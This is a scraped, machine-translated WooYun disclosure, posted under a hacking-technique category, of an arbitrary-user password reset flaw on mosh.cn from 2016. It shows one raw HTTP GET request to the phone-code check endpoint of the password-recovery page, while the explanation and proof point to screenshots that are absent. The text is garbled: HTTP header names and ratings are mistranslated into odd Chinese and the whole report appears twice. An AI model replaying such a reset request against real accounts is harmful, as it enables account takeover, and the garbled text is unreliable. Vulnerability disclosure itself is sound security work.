魔时网主站任意用户密码重置
漏洞标题 魔时网主站任意用户密码重置 相关厂商 mosh.cn 漏洞作者 路人甲 提交时间 2016-05-11 18:16 公开时间 2016-06-26 15:20 漏洞类型 设计缺陷/逻辑错误 …
漏洞标题
魔术时间网络主站任意用户密码重置
相关制造商
Mosh.cn
漏洞作者
过路人
提交时间
2016-05-11 18: 16
公共时间
2016-06-26 15: 20
漏洞类型
设计缺陷/逻辑错误
危险等级
在
自我评估等级
10
漏洞状态
制造商已确认
标签标签
逻辑错误
漏洞详细信息
屏幕截图中描述了原因：
涉及接口数据包：
GET/fpw/checkphonestr？jsoncallback=jQuery1503677694161888212_1462959527306＆amp; phonestr=123333＆amp; phone=18999999999＆amp; _=1462959637206 HTTP/1.1
主持人: www.mosh.cn
接受: text/javascript，application/javascript，*/*; Q=0.01
X-requested-with: XMLHttpRequest
用户代理: Mozilla/5.0（Windows NT 6.1; WOW64）AppleWebKit/537.36（KHTML，与Gecko一样）Chrome/45.0.2454.101 Safari/537.36
Referer:http://www.mosh.cn/fpw
Accept-Encoding: gzip，deflate，sdch
Accept-Language: zh-CN，zh; q=0.8
Cookie:
连接:关闭
漏洞证明：
证明，截图中有描述：
修理计划：
版权声明：请注明出处。居民A @乌云
涉及接口数据包：
GET/fpw/checkphonestr？jsoncallback=jQuery1503677694161888212_1462959527306＆amp; phonestr=123333＆amp; phone=18999999999＆amp; _=1462959637206 HTTP/1.1
主持人: www.mosh.cn
接受: text/javascript，application/javascript，*/*; Q=0.01
X-requested-with: XMLHttpRequest
用户代理: Mozilla/5.0（Windows NT 6.1; WOW64）AppleWebKit/537.36（KHTML，与Gecko一样）Chrome/45.0.2454.101 Safari/537.36
Referer:http://www.mosh.cn/fpw
Accept-Encoding: gzip，deflate，sdch
Accept-Language: zh-CN，zh; q=0.8
Cookie:
连接:关闭
漏洞证明：
证明，截图中有描述：
修理计划：
版权声明：请注明出处。居民A @乌云
- 发表于 2016-07-17 08:00
- 阅读 ( 526 )
- 分类：黑客技术
